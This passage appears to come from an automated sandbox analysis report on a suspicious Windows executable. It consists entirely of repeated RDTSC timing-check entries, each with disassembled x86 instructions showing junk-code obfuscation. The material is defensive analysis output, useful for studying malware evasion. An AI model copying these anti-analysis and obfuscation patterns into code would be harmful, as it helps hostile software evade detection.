0x0000004b jmp 00007F57691E35EFh 0x00000050 push 00000000h 0x00000052 mov edi, dword ptr [ebp+122DBAAEh] 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a push esi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69E2FC second address: 69E304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69E304 second address: 69E385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 jns 00007F57691E35E8h 0x0000000e pop ebx 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+12484697h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F57691E35E8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 sbb bx, A4E3h 0x00000037 mov dword ptr [ebp+122D2D79h], ebx 0x0000003d jmp 00007F57691E35EDh 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007F57691E35E8h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 00000016h 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e jne 00007F57691E35E6h 0x00000064 xchg eax, esi 0x00000065 push eax 0x00000066 push edx 0x00000067 push edi 0x00000068 js 00007F57691E35E6h 0x0000006e pop edi 0x0000006f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69E385 second address: 69E3B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F576860B9C9h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F576860B9C1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 699380 second address: 699389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69E3B8 second address: 69E3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 699389 second address: 69938D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69E3BE second address: 69E3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B38C second address: 69B390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B390 second address: 69B469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jmp 00007F576860B9BBh 0x0000000d mov dword ptr [ebp+122D2F6Bh], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F576860B9B8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1D88h], esi 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov ebx, dword ptr [ebp+122D240Bh] 0x00000047 jmp 00007F576860B9C0h 0x0000004c mov eax, dword ptr [ebp+122D0BFDh] 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007F576860B9B8h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 0000001Dh 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c jmp 00007F576860B9C3h 0x00000071 jmp 00007F576860B9C6h 0x00000076 push FFFFFFFFh 0x00000078 xor bh, FFFFFF8Ch 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f push esi 0x00000080 pop esi 0x00000081 jmp 00007F576860B9C6h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69D5A3 second address: 69D66D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F57691E35F2h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F57691E35E8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F57691E35E8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov ebx, 1B3002A3h 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 mov ebx, dword ptr [ebp+122D39DDh] 0x0000005b mov dword ptr [ebp+124625ECh], edx 0x00000061 mov eax, dword ptr [ebp+122D0909h] 0x00000067 add ebx, 5AE79E99h 0x0000006d push FFFFFFFFh 0x0000006f pushad 0x00000070 jmp 00007F57691E35EFh 0x00000075 mov si, F4EFh 0x00000079 popad 0x0000007a nop 0x0000007b jmp 00007F57691E35F8h 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F57691E35F5h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69F33B second address: 69F3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jl 00007F576860B9B6h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 js 00007F576860B9B9h 0x00000017 movsx ebx, bx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F576860B9B8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F576860B9B8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69F3A5 second address: 69F3A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6A8F6D second address: 6A8F84 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F576860B9C0h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6AC751 second address: 6AC762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6AC834 second address: 6AC855 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e jnl 00007F576860B9B8h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6AC855 second address: 6AC85B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6AC95D second address: 6AC961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6ACA79 second address: 6ACA8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57691E35F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6ACA8F second address: 6ACAA2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F576860B9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6ACAA2 second address: 6ACAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6B2472 second address: 6B2480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007F576860B9B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6B2480 second address: 6B2485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6B2485 second address: 6B248A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6B2DE7 second address: 6B2DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6B3250 second address: 6B3256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 64149C second address: 6414A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414A2 second address: 6414A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414A6 second address: 6414AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414AA second address: 6414B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F576860B9B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414B9 second address: 6414DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35EDh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F57691E35EDh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414DE second address: 6414F1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F576860B9B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414F1 second address: 6414F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6414F5 second address: 64150C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F576860B9C1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB279 second address: 6BB27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB27D second address: 6BB287 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB287 second address: 6BB2AB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F57691E35E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F57691E35E6h 0x00000011 jne 00007F57691E35E6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F57691E35EAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB2AB second address: 6BB2AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB2AF second address: 6BB2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB420 second address: 6BB426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB426 second address: 6BB42C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB726 second address: 6BB72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BB72C second address: 6BB749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F57691E35F3h 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BBA27 second address: 6BBA57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F576860B9BFh 0x0000000f pop esi 0x00000010 jnl 00007F576860B9C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BBA57 second address: 6BBA63 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F57691E35EEh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 66B9B7 second address: 66B9CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 66B9CE second address: 66B9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 649C1A second address: 649C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6BC404 second address: 6BC415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57691E35EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C639 second address: 68C63F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C63F second address: 68C66A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F57691E35F4h 0x00000008 jmp 00007F57691E35EAh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C66A second address: 68C66E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C805 second address: 68C81E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C81E second address: 68C822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C822 second address: 68C85F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F57691E35EBh 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 or ecx, dword ptr [ebp+122DBA96h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F57691E35F3h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68C85F second address: 68C864 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CA98 second address: 68CA9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CE9B second address: 68CEB6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F576860B9B8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 0000001Eh 0x0000000f or dword ptr [ebp+122D1E8Ah], esi 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CEB6 second address: 68CEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35EEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CEC9 second address: 68CEDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CEDD second address: 68CEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CEE1 second address: 68CEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F576860B9BFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CEFB second address: 68CF01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C01BD second address: 6C01CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F576860B9B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C01CC second address: 6C01D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0379 second address: 6C037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C037E second address: 6C039A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F57691E35E8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F57691E35ECh 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C039A second address: 6C03A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F576860B9B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0500 second address: 6C0514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EFh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0650 second address: 6C0659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0659 second address: 6C068A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35F8h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jnp 00007F57691E35E6h 0x00000013 pop edx 0x00000014 jc 00007F57691E35EAh 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C068A second address: 6C0694 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F576860B9C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0694 second address: 6C069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0931 second address: 6C0986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9C9h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jnp 00007F576860B9D4h 0x00000012 jmp 00007F576860B9C2h 0x00000017 jmp 00007F576860B9BCh 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F576860B9BBh 0x00000025 push edx 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0986 second address: 6C09BA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F57691E35F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F57691E35E6h 0x00000013 jmp 00007F57691E35F2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C0B02 second address: 6C0B08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C6286 second address: 6C628A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C63F6 second address: 6C63FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C6875 second address: 6C6894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F57691E35F9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C6894 second address: 6C6898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
